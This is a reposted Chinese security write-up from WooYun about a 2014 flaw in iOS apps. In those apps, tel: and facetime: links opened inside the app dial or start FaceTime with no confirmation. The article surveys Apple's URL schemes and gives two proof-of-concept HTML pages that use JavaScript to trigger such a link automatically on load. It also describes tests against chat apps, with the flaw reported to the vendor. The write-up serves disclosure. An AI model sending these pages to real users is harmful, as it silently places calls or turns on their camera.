<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/2886

    0x00 背景


    國外一安全研究者發現該缺陷,在iOS設備上的某些應用里(其測試的Google+、Facebook Messenger、Gmail都成功觸發),當用戶點擊了構造好的鏈接時,會自動撥打電話,或開啟facetime,從而打開前置攝像頭,且無任何提醒。缺陷產生的原因是開發者沒有看清官方開發文檔對于Phone Links和FaceTime Links中這樣的一條說明,“當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口",從而導致缺陷的產生。

    0x01 缺陷描述


    查看蘋果官方文檔,對于URL方案的規定大致有如下幾種類型:

    1)Mail Links(發送郵件)

    點擊該類型的鏈接后,會自動調用郵件應用,且mailto URL必須指定一個收件地址。

    網頁鏈接中的字符串格式如下

    <a href="mailto:[email protected]">John Frank</a>
    

    本地應用上的URL字符串格式為

    mailto:[email protected]
    

    當然也可以在字符串中添加主題等內容,比如

    mailto:[email protected][email protected]&subject=Greetings%20from%20Cupertino!&body=Wish%20you%20were%20here!
    

    具體的mailto格式可以查看RFC文檔

    http://www.ietf.org/rfc/rfc2368.txt

    2)Phone Links(撥打電話)

    tel類型的URL是用來開啟iOS設備上撥打電話的應用,并且撥打指定的號碼。當用戶在網頁中點擊了一個該類型的鏈接時,iOS設備會彈出提醒窗口,詢問用戶是否撥打該號碼,若用戶同意則開始撥打電話。但是當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口,而是直接撥打指定的電話。當然本地應用可以配置是否顯示提醒。

    比如在網頁中嵌入一個a標簽,內容為

    <a href="tel:10086">fuck it</a>
    

    那么訪問該頁面,點擊fuck it鏈接后自動彈出撥打電話的提醒。如圖1

    2014082711012276720.png

    官方文檔同時給出了本地應用里的url形式,本地應用中URL字符串為tel:1-408-555-5555

    在短信頁面輸入tel://10086點擊后會提示撥打電話,如圖2

    2014082711020263770.png

    同時防止惡意的請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS上的電話號碼的識別檢測是默認開啟的,如果想讓網頁上包含的數字不被識別為手機號碼,則需要在網頁中加入如下的標簽

    <meta name = "format-detection" content = "telephone=no">
    

    具體的URL方案可以查看如下RFC文檔,

    http://www.ietf.org/rfc/rfc2396.txt http://www.ietf.org/rfc/rfc2806.txt

    3)FaceTime Links(開啟facetime,開啟前置攝像頭)

    FaceTime類型的URL是用來調用FaceTime應用撥打指定的用戶,可以是電話號碼或者是綁定的郵箱地址。當用戶在網頁里點開FaceTime類型的URL時,系統會提示是否撥打;但是當在本地應用里點擊該類型的URL時,iOS直接開啟FaceTime應用撥打電話,而無提醒。本地應用可以配置是否顯示提醒。 網頁中的鏈接格式為

    <a href="facetime:14085551234">Connect using FaceTime</a>
    <a href="facetime:[email protected]">Connect using FaceTime</a>
    

    本地應用中URL字符串為

    facetime:// 14085551234
    facetime:[email protected]
    

    當然防止惡意請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS7之前的系統,用該協議撥打電話時候,是用的默認普通的撥打電話的應用而不是FaceTime應用

    4)SMS Links(發送短信)

    SMS方案是用來打開短信應用,其URL格式如下sms: 其中指定目標用戶的號碼,可以包含0到9的數組和+-.三個字符,并且URL字符串不能包含任何其他的文本信息

    網頁中的鏈接格式為

    <a href="sms:">Launch Messages App</a>
    <a href="sms:1-408-555-1212">New SMS Message</a>
    

    本地應用中URL字符串為

    sms:1-408-555-1212
    

    5)其他類型的Links

    其他像Map Links(打開地圖)、iTunes Links(打開iTunes)、YouTube Links(打開YouTube)等不一一介紹,是點擊指定的鏈接后打開相應的地圖、iTunes應用等,詳細查看蘋果官方開發文檔。

    由上述的介紹可以看出,其中可以利用的有Phone Links和FaceTime Links。因為其中都有一條這樣的描述,如果鏈接是在本地應用里,則點擊的話會直接調用相關系統應用,而沒有任何提醒。

    即如果在應用里直接輸入tel://xxxx、facetime://xxxx類似的字符,會直接調用相關撥號應用。同樣我們可以在應用里輸入網頁鏈接,然后在網頁內容里嵌入這樣的a標簽鏈接,然后利用js實現加載網頁時自動點擊該a標簽鏈接。

    所以具體的測試代碼如下,將其保存為html文件即可。

    <a id="target" href="facetime:[email protected]">click me</a> 
    <script> 
    var target = document.getElementById("target"); 
    var fakeEvent = document.createEvent("MouseEvents"); 
    fakeEvent.initEvent("click", true, false); 
    target.dispatchEvent(fakeEvent); 
    </script>
    

    或者如下

    <html>
    <head>
        <title>v</title>
    </head>
    <body>
        <a id="dial" href="tel:10086">fuck it</a>
    </body>
    <script type="text/javascript">
    <!--
    window.onload = function()
    {
        window.location.href = document.getElementById("dial").href;
    };
    //-->
    </script>
    </html>
    

    tel:xxxxx表示要撥打的電話,點擊該鏈接后則自動撥打電話;

    facetiem:xxxxx表示撥打的facetime帳號,點擊該鏈接后自動開啟攝像頭,無任何提醒;

    注:其中第二個代碼在某些應用里測試沒有執行成功,第一個代碼在應用里基本能執行成功。

    0x02 案例測試


    測試了國內的幾個常用的聊天類應用,基本都存在該缺陷,已經報告給廠商,修復可能需要一段時間。這里以在烏云上提交的易信為案例(官方將發布新版本)。 測試版本為iOS版本6.1.4、易信V2.9.0.1680

    在朋友圈發布該url,如圖3

    2014082711044861565.png

    好友點擊后自動撥打電話或開啟FaceTime,如圖2、圖3

    2014082711050945066.png

    2014082711052082517.png

    0x03 如何修復


    在蘋果官方開發文檔給出的說明上,在本地應用打開相應的URL是可以配置提醒設置的。所以可能是開發者對蘋果URL的規范未全面了解,疏忽導致了該問題。由于未接觸過iOS開發,所以具體的修復不清楚。:)

    References:

    http://algorithm.dk/posts/rtfm-0day-in-ios-apps-g-gmail-fb-messenger-etc https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1 https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1

    97av